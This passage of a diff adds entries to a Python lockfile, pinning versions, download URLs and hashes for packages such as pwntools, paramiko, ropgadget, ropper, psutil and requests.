+ { url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
+ { url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
+ { url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
+ { url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
+ { url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
+ { url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "25.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" },
+]
+
+[[package]]
+name = "paramiko"
+version = "3.5.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "bcrypt" },
+ { name = "cryptography" },
+ { name = "pynacl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7d/15/ad6ce226e8138315f2451c2aeea985bf35ee910afb477bae7477dc3a8f3b/paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822", size = 1566110, upload-time = "2025-02-04T02:37:59.783Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/15/f8/c7bd0ef12954a81a1d3cea60a13946bd9a49a0036a5927770c461eade7ae/paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61", size = 227298, upload-time = "2025-02-04T02:37:57.672Z" },
+]
+
+[[package]]
+name = "pip"
+version = "25.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/241caa0ca606f2ec5fe0c1f4261b0465df78d786a38da693864a116c37f4/pip-25.1.1.tar.gz", hash = "sha256:3de45d411d308d5054c2168185d8da7f9a2cd753dbac8acbfa88a8909ecd9077", size = 1940155, upload-time = "2025-05-02T15:14:02.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/29/a2/d40fb2460e883eca5199c62cfc2463fd261f760556ae6290f88488c362c0/pip-25.1.1-py3-none-any.whl", hash = "sha256:2913a38a2abf4ea6b64ab507bd9e967f3b53dc1ede74b01b0931e1ce548751af", size = 1825227, upload-time = "2025-05-02T15:13:59.102Z" },
+]
+
+[[package]]
+name = "plumbum"
+version = "1.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pywin32", marker = "platform_python_implementation != 'PyPy' and sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f0/5d/49ba324ad4ae5b1a4caefafbce7a1648540129344481f2ed4ef6bb68d451/plumbum-1.9.0.tar.gz", hash = "sha256:e640062b72642c3873bd5bdc3effed75ba4d3c70ef6b6a7b907357a84d909219", size = 319083, upload-time = "2024-10-05T05:59:27.059Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4f/9d/d03542c93bb3d448406731b80f39c3d5601282f778328c22c77d270f4ed4/plumbum-1.9.0-py3-none-any.whl", hash = "sha256:9fd0d3b0e8d86e4b581af36edf3f3bbe9d1ae15b45b8caab28de1bcb27aaa7f5", size = 127970, upload-time = "2024-10-05T05:59:25.102Z" },
+]
+
+[[package]]
+name = "psutil"
+version = "7.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/2a/80/336820c1ad9286a4ded7e845b2eccfcb27851ab8ac6abece774a6ff4d3de/psutil-7.0.0.tar.gz", hash = "sha256:7be9c3eba38beccb6495ea33afd982a44074b78f28c434a1f51cc07fd315c456", size = 497003, upload-time = "2025-02-13T21:54:07.946Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ed/e6/2d26234410f8b8abdbf891c9da62bee396583f713fb9f3325a4760875d22/psutil-7.0.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:101d71dc322e3cffd7cea0650b09b3d08b8e7c4109dd6809fe452dfd00e58b25", size = 238051, upload-time = "2025-02-13T21:54:12.36Z" },
+ { url = "https://files.pythonhosted.org/packages/04/8b/30f930733afe425e3cbfc0e1468a30a18942350c1a8816acfade80c005c4/psutil-7.0.0-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:39db632f6bb862eeccf56660871433e111b6ea58f2caea825571951d4b6aa3da", size = 239535, upload-time = "2025-02-13T21:54:16.07Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/ed/d362e84620dd22876b55389248e522338ed1bf134a5edd3b8231d7207f6d/psutil-7.0.0-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1fcee592b4c6f146991ca55919ea3d1f8926497a713ed7faaf8225e174581e91", size = 275004, upload-time = "2025-02-13T21:54:18.662Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/b9/b0eb3f3cbcb734d930fdf839431606844a825b23eaf9a6ab371edac8162c/psutil-7.0.0-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b1388a4f6875d7e2aff5c4ca1cc16c545ed41dd8bb596cefea80111db353a34", size = 277986, upload-time = "2025-02-13T21:54:21.811Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/a2/709e0fe2f093556c17fbafda93ac032257242cabcc7ff3369e2cb76a97aa/psutil-7.0.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5f098451abc2828f7dc6b58d44b532b22f2088f4999a937557b603ce72b1993", size = 279544, upload-time = "2025-02-13T21:54:24.68Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e6/eecf58810b9d12e6427369784efe814a1eec0f492084ce8eb8f4d89d6d61/psutil-7.0.0-cp37-abi3-win32.whl", hash = "sha256:ba3fcef7523064a6c9da440fc4d6bd07da93ac726b5733c29027d7dc95b39d99", size = 241053, upload-time = "2025-02-13T21:54:34.31Z" },
+ { url = "https://files.pythonhosted.org/packages/50/1b/6921afe68c74868b4c9fa424dad3be35b095e16687989ebbb50ce4fceb7c/psutil-7.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:4cf3d4eb1aa9b348dec30105c55cd9b7d4629285735a102beb4441e38db90553", size = 244885, upload-time = "2025-02-13T21:54:37.486Z" },
+]
+
+[[package]]
+name = "pwntools"
+version = "4.14.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+ { name = "colored-traceback" },
+ { name = "intervaltree" },
+ { name = "mako" },
+ { name = "packaging" },
+ { name = "paramiko" },
+ { name = "pip" },
+ { name = "psutil" },
+ { name = "pyelftools" },
+ { name = "pygments" },
+ { name = "pyserial" },
+ { name = "pysocks" },
+ { name = "python-dateutil" },
+ { name = "requests" },
+ { name = "ropgadget" },
+ { name = "rpyc" },
+ { name = "six" },
+ { name = "sortedcontainers" },
+ { name = "unicorn" },
+ { name = "unix-ar" },
+ { name = "zstandard" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/21/94/1f39d5a770226b9d240c9900c5c912788fb31f8f189aacd81153c0d59f67/pwntools-4.14.1.tar.gz", hash = "sha256:60f04976d1722120d18b9d50553408a024664b5cf888f36f258afca4bf035cac", size = 5612163, upload-time = "2025-03-24T12:29:30.007Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/58/64/882ce3c4bffdc8ee1b52bca10a878685ed67355af4f3eba33c7f4c8b195d/pwntools-4.14.1-py2.py3-none-any.whl", hash = "sha256:d8b8587f5ca9a6149d234f900de1832e9db7a2291c32dfbdaa0de3dac224a324", size = 12858620, upload-time = "2025-03-24T12:29:26.347Z" },
+]
+
+[[package]]
+name = "pycparser"
+version = "2.22"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/b2/31537cf4b1ca988837256c910a668b553fceb8f069bedc4b1c826024b52c/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6", size = 172736, upload-time = "2024-03-30T13:22:22.564Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" },
+]
+
+[[package]]
+name = "pyelftools"
+version = "0.32"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b9/ab/33968940b2deb3d92f5b146bc6d4009a5f95d1d06c148ea2f9ee965071af/pyelftools-0.32.tar.gz", hash = "sha256:6de90ee7b8263e740c8715a925382d4099b354f29ac48ea40d840cf7aa14ace5", size = 15047199, upload-time = "2025-02-19T14:20:05.549Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/af/43/700932c4f0638c3421177144a2e86448c0d75dbaee2c7936bda3f9fd0878/pyelftools-0.32-py3-none-any.whl", hash = "sha256:013df952a006db5e138b1edf6d8a68ecc50630adbd0d83a2d41e7f846163d738", size = 188525, upload-time = "2025-02-19T14:19:59.919Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.19.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7c/2d/c3338d48ea6cc0feb8446d8e6937e1408088a72a39937982cc6111d17f84/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f", size = 4968581, upload-time = "2025-01-06T17:26:30.443Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" },
+]
+
+[[package]]
+name = "pynacl"
+version = "1.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a7/22/27582568be639dfe22ddb3902225f91f2f17ceff88ce80e4db396c8986da/PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba", size = 3392854, upload-time = "2022-01-07T22:05:41.134Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ce/75/0b8ede18506041c0bf23ac4d8e2971b4161cd6ce630b177d0a08eb0d8857/PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1", size = 349920, upload-time = "2022-01-07T22:05:49.156Z" },
+ { url = "https://files.pythonhosted.org/packages/59/bb/fddf10acd09637327a97ef89d2a9d621328850a72f1fdc8c08bdf72e385f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92", size = 601722, upload-time = "2022-01-07T22:05:50.989Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/70/87a065c37cca41a75f2ce113a5a2c2aa7533be648b184ade58971b5f7ccc/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394", size = 680087, upload-time = "2022-01-07T22:05:52.539Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/87/f1bb6a595f14a327e8285b9eb54d41fef76c585a0edef0a45f6fc95de125/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d", size = 856678, upload-time = "2022-01-07T22:05:54.251Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/ca86676b69bf9f90e710571b67450508484388bfce09acf8a46f0b8c785f/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858", size = 1133660, upload-time = "2022-01-07T22:05:56.056Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/85/c262db650e86812585e2bc59e497a8f59948a005325a11bbbc9ecd3fe26b/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", size = 663824, upload-time = "2022-01-07T22:05:57.434Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/1a/cc308a884bd299b651f1633acb978e8596c71c33ca85e9dc9fa33a5399b9/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff", size = 1117912, upload-time = "2022-01-07T22:05:58.665Z" },
+ { url = "https://files.pythonhosted.org/packages/25/2d/b7df6ddb0c2a33afdb358f8af6ea3b8c4d1196ca45497dd37a56f0c122be/PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543", size = 204624, upload-time = "2022-01-07T22:06:00.085Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/22/d3db169895faaf3e2eda892f005f433a62db2decbcfbc2f61e6517adfa87/PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93", size = 212141, upload-time = "2022-01-07T22:06:01.861Z" },
+]
+
+[[package]]
+name = "pyserial"
+version = "3.5"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
+]
+
+[[package]]
+name = "pysocks"
+version = "1.7.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
+]
+
+[[package]]
+name = "python-dateutil"
+version = "2.9.0.post0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "six" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
+]
+
+[[package]]
+name = "pywin32"
+version = "310"
+source = { registry = "https://pypi.org/simple" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/6b/ec/4fdbe47932f671d6e348474ea35ed94227fb5df56a7c30cbbb42cd396ed0/pywin32-310-cp312-cp312-win32.whl", hash = "sha256:8a75a5cc3893e83a108c05d82198880704c44bbaee4d06e442e471d3c9ea4f3d", size = 8796239, upload-time = "2025-03-17T00:55:58.807Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/e5/b0627f8bb84e06991bea89ad8153a9e50ace40b2e1195d68e9dff6b03d0f/pywin32-310-cp312-cp312-win_amd64.whl", hash = "sha256:bf5c397c9a9a19a6f62f3fb821fbf36cac08f03770056711f765ec1503972060", size = 9503839, upload-time = "2025-03-17T00:56:00.8Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/32/9ccf53748df72301a89713936645a664ec001abd35ecc8578beda593d37d/pywin32-310-cp312-cp312-win_arm64.whl", hash = "sha256:2349cc906eae872d0663d4d6290d13b90621eaf78964bb1578632ff20e152966", size = 8459470, upload-time = "2025-03-17T00:56:02.601Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/09/9c1b978ffc4ae53999e89c19c77ba882d9fce476729f23ef55211ea1c034/pywin32-310-cp313-cp313-win32.whl", hash = "sha256:5d241a659c496ada3253cd01cfaa779b048e90ce4b2b38cd44168ad555ce74ab", size = 8794384, upload-time = "2025-03-17T00:56:04.383Z" },
+ { url = "https://files.pythonhosted.org/packages/45/3c/b4640f740ffebadd5d34df35fecba0e1cfef8fde9f3e594df91c28ad9b50/pywin32-310-cp313-cp313-win_amd64.whl", hash = "sha256:667827eb3a90208ddbdcc9e860c81bde63a135710e21e4cb3348968e4bd5249e", size = 9503039, upload-time = "2025-03-17T00:56:06.207Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/f4/f785020090fb050e7fb6d34b780f2231f302609dc964672f72bfaeb59a28/pywin32-310-cp313-cp313-win_arm64.whl", hash = "sha256:e308f831de771482b7cf692a1f308f8fca701b2d8f9dde6cc440c7da17e47b33", size = 8458152, upload-time = "2025-03-17T00:56:07.819Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "charset-normalizer" },
+ { name = "idna" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e1/0a/929373653770d8a0d7ea76c37de6e41f11eb07559b103b1c02cafb3f7cf8/requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422", size = 135258, upload-time = "2025-06-09T16:43:07.34Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7c/e4/56027c4a6b4ae70ca9de302488c5ca95ad4a39e190093d6c1a8ace08341b/requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c", size = 64847, upload-time = "2025-06-09T16:43:05.728Z" },
+]
+
+[[package]]
+name = "ropgadget"
+version = "7.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b5/ad/7c6c9078c143d5cb7965f2d06a3aadc5f9e638276dd86e57ce8c9a30457c/ropgadget-7.6.tar.gz", hash = "sha256:8883c54e4627073a2ce7cd8adbaf7ef72478442c0a5da1308c3c2e37641174c3", size = 25848, upload-time = "2025-01-28T19:34:00.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5d/de/a51149ceea68dc0abbf62b9381ebe87db493a19192d563fe77bfdad5fb02/ROPGadget-7.6-py3-none-any.whl", hash = "sha256:749176f0d210498869ac849a1414912488c0c8c4853b823d22888e2b49a67391", size = 32397, upload-time = "2025-01-28T19:33:58.788Z" },
+]
+
+[[package]]
+name = "ropper"
+version = "1.13.13"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+ { name = "filebytes" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/52/239eb5061cc05f41f71aaa31b3b2385dd7de64a26492199d9201c53ceb69/ropper-1.13.13.tar.gz", hash = "sha256:56c0975c245ec6df8497e63ca60a5c1b7d56f514da214e0fd807ec3ea3293424", size = 81288, upload-time = "2025-02-28T21:49:00.515Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c2/46/824aaa16b28d8967de556225deaa465774f999cbfc1b90f554a91b27a638/ropper-1.13.13-py3-none-any.whl", hash = "sha256:35b3dffa3490ddbb467cafb71f29d7fcb6620d946b7b401a54fa0614f63c0996", size = 117919, upload-time = "2025-02-28T21:48:57.139Z" },
+]
+
+[[package]]
+name = "rpyc"
+version = "6.0.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "plumbum" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "sortedcontainers"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
